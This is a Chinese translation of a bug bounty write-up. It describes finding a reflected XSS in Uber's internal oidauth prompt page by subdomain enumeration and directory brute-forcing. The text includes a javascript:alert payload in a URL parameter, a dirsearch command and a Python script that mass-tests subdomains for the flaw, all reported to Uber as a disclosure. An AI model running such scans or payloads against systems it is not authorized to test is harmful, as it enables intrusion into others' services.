嗨,你好!

歡迎來看我寫的我的第一個漏洞賞金,我不是天天去做漏洞賞金任務,特別是網路漏洞賞金,但它最近開始引起我的興趣,所以我決定開始在Uber中尋找漏洞。

信息蒐集

我開始收集關於的Uber信息,我注意到它們的內部系統在某個域名範圍中(uberinternal.com的子域),所以我開始執行子域枚舉,為此,我使用了aquatone,它發現了許多域,並收集了一些域的截圖。

需要注意的是,大多數內部域都重定向到uber.onelogin.com用於認證登錄。

眾所周知,onelogin使用SAML身份驗證,這非常有趣,因為在實現SAML的應用程序中發現過大量驗證繞過漏洞,包括影響uber本身的一些漏洞。

我的第一個方向就是尋找SAML身份繞過漏洞,信不信由你,我本來打算從uchat系統開始,但是很遺憾,有人比我先發現了漏洞,這不是我第一次因為時機不對而丟失漏洞,所以沒關係。讓我們繼續前進。

當您使用SAML登錄時,一個請求被發送到身份驗證服務,在我們的例子中是域名uber.onelogin.com,一旦成功登錄uber.onelogin.com,它將會返回一個響應給指定的任意uberinternal.com的子域名,我感興趣的正是從Onelogin返回的響應頁面。

因此,讓我們看一下在調用需要身份驗證的頁面時發生的重定向,您可以在下面的圖像中看到,它向uber.onelogin.com傳遞了一個經過base64編碼的SAMLRequest參數。

要解碼返回參數的值,只需要一個在線工具,我們可以看到從uber.onelogin.com接收的響應中的鏈接。

此外,如果你想嘗試一下,burpsuite還有一個好的SAML插件,它也有一些很好的先進的特性來測試SAML。

以上所述雖然很好,但是,我想做大量的目標測試,所以我創建了一個工具,收集一個URL列表,並返回URL對應的SAML,你可以在我的GITHUB帳戶找到工具SAMLExtractor。

下一步是嘗試繞過那個SAML認證,但是我運氣不夠好,所以我決定做別的事情,我決定搜索一下oidauth/目錄,看看有沒有更有趣的文件,因為我通過下面的命令使用dirsearch。

./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson

漏洞

在執行目錄暴力破解之後,我找到了下面的頁面:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

這是一個註銷頁面,但為什麼它很有趣呢。因為很多開發人員在註銷頁面中實現重定向,有時您可以在其中找到XSS漏洞,因此我打開了上面的鏈接,它將我重定向到以下頁面

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

其中base參數是獲取一個URL,那麼用經典javascript:alert(123)替換它,好看看它是否可以觸發XSS?它通過單擊頁面中出現的鏈接來觸發,並且同時因為該頁面也容易受到點擊劫持的攻擊,所以這意味著您可以在攻擊中結合這兩個漏洞來利用(這在報告中詳細解釋)。

大規模利用

記住前面我告訴您我創建了一個工具,該工具可以獲取URL列表,然後返回回調(SAML)URL。我決定向該工具提供uberinternal.com的所有子域,看看是否還有其他域使用相同的庫。

接下來,我創建了一個腳本,調用存在漏洞的頁面oidauth/prompt,嘗試XSS攻擊,如果攻擊生效,它就會給我一個存在漏洞的消息。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)

之後,我核實了存在漏洞的頁面,並將第一份報告發送到Uber,在第一份報告之後,我有發現了兩個以上易受攻擊的子域,又發送了一個單獨的報告。

來源:我是如何發現影響約20個Uber子域的XSS漏洞的|NOSEC安全訊息平臺 - NOSEC.ORG

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章